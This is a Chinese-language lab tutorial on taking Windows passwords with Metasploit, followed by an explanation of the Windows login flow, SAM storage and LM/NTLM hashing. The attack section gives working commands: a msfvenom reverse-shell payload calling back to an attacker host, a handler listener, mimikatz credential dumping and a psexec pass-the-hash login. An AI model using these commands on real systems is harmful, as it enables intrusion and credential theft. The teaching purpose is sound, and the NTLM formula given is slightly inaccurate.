窃取WINDOWS账号密码
系统环境:主机(Windows系统 IP:192.168.126.129),虚拟机(KALI系统 IP:192.168.126.3),两者需要能通过本地网络互通互连。
攻击工具:Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。
控制Windows系统
- 生成反弹型木马
进入KALI系统,使用以下代码生成程序,反弹到的监听端地址为192.168.126.3,监听端口为12345,文件输出格式为exe并保存到当前路径\~
下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.3 LPORT=12345 -f exe -o shell.exe
- 在本地通过GIT BASH或其它BASH程序使用SCP命令拉取代码到D盘根目录.
scp root@192.168.126.3:/root/shell.exe /d
- 返回KALI,并开启监听程序
msfconsole #进入Metasploit组件
use exploit/multi/handler #使用反向Shell模块,用于接收反弹的Shell
set paload windows/x64/meterpreter/reverse_tcp #它一种常见的Stagers Payload,它可以让目标系统与攻击者建立一条tcp连接
set lhost 192.168.126.3 #本地主机地址
set lport 12345 #端口号
exploit #启动
-
运行成功后,回到Windows电脑中,关闭杀毒软件、防火墙、间谍程序。
-
在电脑里(右键管理员运行)打开刚刚的下载的那个
shell.exe
。
打开成功后即可在kali中看到效果如下:
远程登录Windows
- 主机"以管理员身份运行"CMD.exe,接着启动administrator账户,并回到用户界面设置密码。
net user administrator /active:yes
- 返回KALI系统的监听程序,尝试获取明文密码
load kiwi #载入kiwi (旧版名称: Mimikatz) 获取账户密码工具
getsystem #获取system权限(提权)
creds_all #获取所有明文密码
使用msf自带的mimikatz抓取密码,但可以看到密码为null,说明这台pc已经打了微软的补丁,抓取不到明文密码了
- 尝试获取Hash密码
- 这个时候我们可以用加密后的哈希登录:
python3 psexec.py Administrator@192.168.126.129 -hashes 密钥:密钥
注意:在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。 这就是为什么一开始要先开启Windows账户。
思考
1. windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
2. 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
3. 为什么第一个模块 永远是一样的aad3?
4. 这两个模块的加密算法有什么不同,如何加密的?
解析登录密文
Windows系统为了安全考虑,并不会以明文形式存储用户的登录密码。这是一个非常重要的设计原则,因为如果密码以明文形式存储,那么任何能够访问存储位置的人或程序都可以轻易地获取到密码,这显然是不安全的。
登录流程
-
首先,用户触发登录过程,winlogon.exe 进程检测到这一操作,并调用GINA来显示登录对话框,以供用户输入用户名和密码。
-
接着,用户输入用户名和密码,并点击确定后,GINA(图形标识和身份验证)将这些信息发送给LSA(本地安全认证子系统)进行验证。
-
在验证过程中,LSA可能会调用相应的验证程序包(如msv1_0.dll),对用户输入的信息进行处理,并与存储在SAM(安全账户管理器)数据库中的密钥进行对比。
-
如果对比结果显示用户有效,SAM会将用户的SID(安全标识符)以及用户所属用户组的SID等相关信息发送给LSA。
-
随后,LSA根据收到的SID信息创建安全访问令牌,并将令牌的句柄和登录信息发送给winlogon进程。
-
最后,winlogon进程对用户登录进行最后的处理,完成整个登录过程。此时,用户将看到Windows桌面,并可以开始使用系统。
存储过程
那么,Windows是如何存储用户密码的呢?
在用户输入密码进行登录时,Windows会采用一种或多种加密协议(如NTLM或Kerberos)对密码进行加密处理。
这些加密协议会将用户输入的明文密码转换成一种难以逆向解析的密文形式。
这样,即使有人能够访问到存储密码的位置,也无法直接获取到用户的明文密码。
SAM文件
接下来,我们来看看这些加密后的密码密文是存储在哪个文件下的。
在Windows系统中,用户登录密码的密文通常存储在
C:\Windows\System32\config\SAM
SAM文件下的SAM数据库中。
那么,关于这个文件是否可以打开并查看到密文的问题,答案是一般情况下是不可以的。
SAM文件是系统级的文件,受到严格的权限限制,普通用户或程序是无法直接打开并查看其中的内容的。
即使具有管理员权限,直接打开SAM文件也会遇到困难,因为系统通常会显示“另一个程序正在使用此文件”或“进程无法访问”等提示。
然而渗透测试人员或安全研究人员可以通过Mimikatz
打开SAM文件
hashdump
我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么。
hashdump是一种密码破解技术,它的原理是通过获取目标系统中的哈希值,然后利用各种手段将哈希值破解为明文密码。
原因是因为从windows NT开始,windows采用的是NTLM Hash密码,因此hashdump为了区分不同版本的windows系统加密方式,才能正确地提取和分析密文。
第一个模块是LM Hash采用DES加密,第二个模块是NTLM Hash基于MD4加密算法。
LM Hash加密方式
为什么第一个模块 永远是一样的aad3?
- 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
- 密码的16进制字符串被分成两个7byte部分。
- 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
- 再分7bit为一组,每组末尾加0,再组成一组。
根据这个加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee
,如果我们看到LM hash的结尾是aad3b435b51404ee
,就可以很轻易的发现密码强度少于7位。
而我们这次看到的是两组aad3b435b51404ee aad3b435b51404ee
,这一般代表密码为空或者LM Hash被禁用,分割的两组明文都无。
NTLM Hash加密
NTLM_Hash = md4(unicode(hex(password)))
- 先将用户密码转换为16进制格式。
- 再将16进制格式的字符串进行ASCII转Unicode编码。
- 最后对Unicode编码的16进制字符串进行标准MD4单向哈希加密。